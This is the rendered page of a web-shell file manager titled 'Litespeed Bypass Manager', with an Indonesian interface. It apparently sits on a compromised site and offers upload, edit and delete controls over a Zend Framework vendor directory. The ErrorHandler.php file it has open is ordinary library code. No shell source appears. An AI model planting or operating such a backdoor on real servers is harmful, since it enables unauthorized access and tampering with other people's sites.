Litespeed Bypass Manager
Direktori:
/admin/vendor/zendframework/zend-stdlib/src
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📁
ArrayUtils
Folder
Hapus
📁
Exception
Folder
Hapus
📁
Guard
Folder
Hapus
📁
StringWrapper
Folder
Hapus
📄 AbstractOptions.php
Edit
Hapus
📄 ArrayObject.php
Edit
Hapus
📄 ArraySerializableInterface.php
Edit
Hapus
📄 ArrayStack.php
Edit
Hapus
📄 ArrayUtils.php
Edit
Hapus
📄 ConsoleHelper.php
Edit
Hapus
📄 DispatchableInterface.php
Edit
Hapus
📄 ErrorHandler.php
Edit
Hapus
📄 FastPriorityQueue.php
Edit
Hapus
📄 Glob.php
Edit
Hapus
📄 InitializableInterface.php
Edit
Hapus
📄 JsonSerializable.php
Edit
Hapus
📄 Message.php
Edit
Hapus
📄 MessageInterface.php
Edit
Hapus
📄 ParameterObjectInterface.php
Edit
Hapus
📄 Parameters.php
Edit
Hapus
📄 ParametersInterface.php
Edit
Hapus
📄 PriorityList.php
Edit
Hapus
📄 PriorityQueue.php
Edit
Hapus
📄 Request.php
Edit
Hapus
📄 RequestInterface.php
Edit
Hapus
📄 Response.php
Edit
Hapus
📄 ResponseInterface.php
Edit
Hapus
📄 SplPriorityQueue.php
Edit
Hapus
📄 SplQueue.php
Edit
Hapus
📄 SplStack.php
Edit
Hapus
📄 StringUtils.php
Edit
Hapus
Edit File: ErrorHandler.php
<?php /** * Zend Framework (http://framework.zend.com/) * * @link http://github.com/zendframework/zf2 for the canonical source repository * @copyright Copyright (c) 2005-2015 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ namespace Zend\Stdlib; use ErrorException; /** * ErrorHandler that can be used to catch internal PHP errors * and convert to an ErrorException instance. */ abstract class ErrorHandler { /** * Active stack * * @var array */ protected static $stack = []; /** * Check if this error handler is active * * @return bool */ public static function started() { return (bool) static::getNestedLevel(); } /** * Get the current nested level * * @return int */ public static function getNestedLevel() { return count(static::$stack); } /** * Starting the error handler * * @param int $errorLevel */ public static function start($errorLevel = \E_WARNING) { if (! static::$stack) { set_error_handler([get_called_class(), 'addError'], $errorLevel); } static::$stack[] = null; } /** * Stopping the error handler * * @param bool $throw Throw the ErrorException if any * @return null|ErrorException * @throws ErrorException If an error has been caught and $throw is true */ public static function stop($throw = false) { $errorException = null; if (static::$stack) { $errorException = array_pop(static::$stack); if (! static::$stack) { restore_error_handler(); } if ($errorException && $throw) { throw $errorException; } } return $errorException; } /** * Stop all active handler * * @return void */ public static function clean() { if (static::$stack) { restore_error_handler(); } static::$stack = []; } /** * Add an error to the stack * * @param int $errno * @param string $errstr * @param string $errfile * @param int $errline * @return void */ public static function addError($errno, $errstr = '', $errfile = '', $errline = 0) { $stack = & static::$stack[count(static::$stack) - 1]; $stack = new ErrorException($errstr, 0, $errno, $errfile, $errline, $stack); } }
Simpan
Catatan: Mengedit file biner tidak disarankan.